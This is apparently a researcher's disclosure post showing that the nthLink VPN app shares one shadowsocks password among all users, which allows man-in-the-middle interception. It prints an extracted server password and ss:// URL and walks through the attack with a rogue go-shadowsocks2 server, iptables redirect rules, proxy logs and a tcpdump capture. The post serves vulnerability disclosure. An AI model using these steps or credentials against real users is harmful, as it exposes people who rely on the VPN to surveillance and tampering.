Stripping nthLink VPN encryption

A note about nthLink VPN, its internals and its fatal cryptographic failure. Why it can be important:

Also this note may be interesting to people who want to know how such applications work under the hood.

Interesting facts about the product.

From nthLink website:

Most importantly, it incorporates strong encryption to protect the information flow between the consumer and the source.

More security claims:

nthLink utilizes the strongest industrially available encryption to keep user communications private and prevents censors from performing content/packet inspection.

Security audit completed twice:

Claims about two audits with Cure53

Interesting that audit report is not made public, but promised to be provided upon requests. What’s the problem with publishing it? Anyway, in the light of actual findings it’s safe to assume that Cure53 audit is either worthless or its subject was related to infra/website and not the application itself.

Application is open source unless your source code request accidentally falls into spam folder1:

Please contact the nthLink support team to request access to the nthLink source code.

Received fairly small funding from some Open Technology Fund.

Application internals

Application pretends to work as a VPN for the whole system, but it is actually just a shadowsocks client. It uses badvpn tun2socks (or similar software) to redirect all TCP and UDP sessions into shadowsocks, which is technically not an actual VPN.

Despite the fact source code is not published and not readily available, it was trivial to extract it from their electron application for Windows. JS code can be unpacked with just npx asar extract command. Here is a full guide on that subject.

Analysis of source code revealed that algorithm of retrieving connection credentials roughly looks like that:

  1. Calculate current API domain based on domain seed, top level domain and current date.
  2. If it doesn’t work, fallback to hardcoded AWS S3 domain.
  3. Make a request and retrieve config body.
  4. Config body contains digital signature (RSA-SHA256 PKCSv15). Verify it.
  5. Decrypt final server credentials JSON encrypted with AES256-CTR. Static encryption key is hardcoded. Also this configuration payload contains latest domain seed and top level domain for API entrypoint generation.

I’ve made alternative client which does these steps and allows you to get plain shadowsocks credentials, usable with any vanilla shadowsocks client.

nth-dump screenshot

Here is the problem. All cryptographic keys in shadowsocks are derived from shared password. Therefore if all clients know the Symmetric Pre-Shared Key (SPSK) they can use it to MitM attack other clients of the same server. This is a fatal cryptographic failure which completely destroys security of the protocol.

Demo? Demo!

Let’s demonstrate that anyone can see and tamper traffic secured by nthLink.

Install app and connect

Latest nthLink app is an Android app version 5.1.0 released 2021-04-01.

Installed and connected:

Installed and connected

Verified connection. IP address changed to IP address of nthLink server:

Verified connection

Rogue shadowsocks server

Victim IP address in the network is We need to divert its traffic from nthLink shadowsocks server to our rogue shadowsocks server. Lets find address of server.

On Linux gateway (router) lets grab https-alike connections from victim device:

fgrep /proc/net/nf_conntrack | fgrep dport=443 | fgrep ESTABLISHED

And from other side lets run nth-dump until there will be an address from the list of connections.

Name:		nthLink Server
Port:		443
Method:		chacha20-ietf-poly1305
Password:	2djK1R9egUBi
URL:		ss://Y2hhY2hhMjAtaWV0Zi1wb2x5MTMwNToyZGpLMVI5ZWdVQmk=@

Now connection matched to server and its credentials. Lets start rogue shadowsocks server. For that purpose I use go-shadowsocks2 server:

./shadowsocks2-linux-arm -s 'ss://AEAD_CHACHA20_POLY1305:2djK1R9egUBi@:443' -verbose

Finally, let’s redirect victim’s traffic to rogue shadowsocks server:

iptables -t nat -I PREROUTING -m tcp -p tcp -s -d --dport 443 -j REDIRECT --to 443
iptables -t nat -I PREROUTING -m udp -p udp -s -d --dport 443 -j REDIRECT --to 443

Traffic interception goal reached

Observing logs of go-shadowsocks2:

2022/08/24 23:24:46 tcp.go:137: proxy <->
2022/08/24 23:24:49 tcp.go:137: proxy <->
2022/08/24 23:24:49 tcp.go:137: proxy <->
2022/08/24 23:25:06 tcp.go:137: proxy <->
2022/08/24 23:25:06 tcp.go:137: proxy <->
2022/08/24 23:25:06 tcp.go:137: proxy <->
2022/08/24 23:25:07 tcp.go:137: proxy <->
2022/08/24 23:25:09 tcp.go:137: proxy <->
2022/08/24 23:25:09 tcp.go:137: proxy <->
2022/08/24 23:25:09 tcp.go:137: proxy <->
2022/08/24 23:25:14 tcp.go:137: proxy <->
2022/08/24 23:25:42 tcp.go:137: proxy <->
2022/08/24 23:25:46 tcp.go:139: relay error: read tcp> read: connection reset by peer
2022/08/24 23:25:47 tcp.go:137: proxy <->
2022/08/24 23:26:18 tcp.go:137: proxy <->
2022/08/24 23:27:50 tcp.go:137: proxy <->
2022/08/24 23:28:11 tcp.go:137: proxy <->
2022/08/24 23:28:34 tcp.go:137: proxy <->

As you can see, connections successfully redirected and our shadowsocks server understands and executes requests.

Confirmed redirection back to my home IP worked even with active VPN:

Home IP again

We could redirect traffic back to nthLink server after inspection and make it look like usual, but for demo purposes we don’t do it as we need to make it more explicit rather than make it stealth.

Finally, let’s dump traffic with tcpdump -i any -nvvs0 'dst port 443' -w hs.cap to show we see it same way as without VPN at all. Captured TLS handshake with Server Name Indication viewer in Wireshark PCAP dump analyzer:

Wireshark screenshot

  1. Nonetheless, it is possible to recover all important details from Electron app for Windows.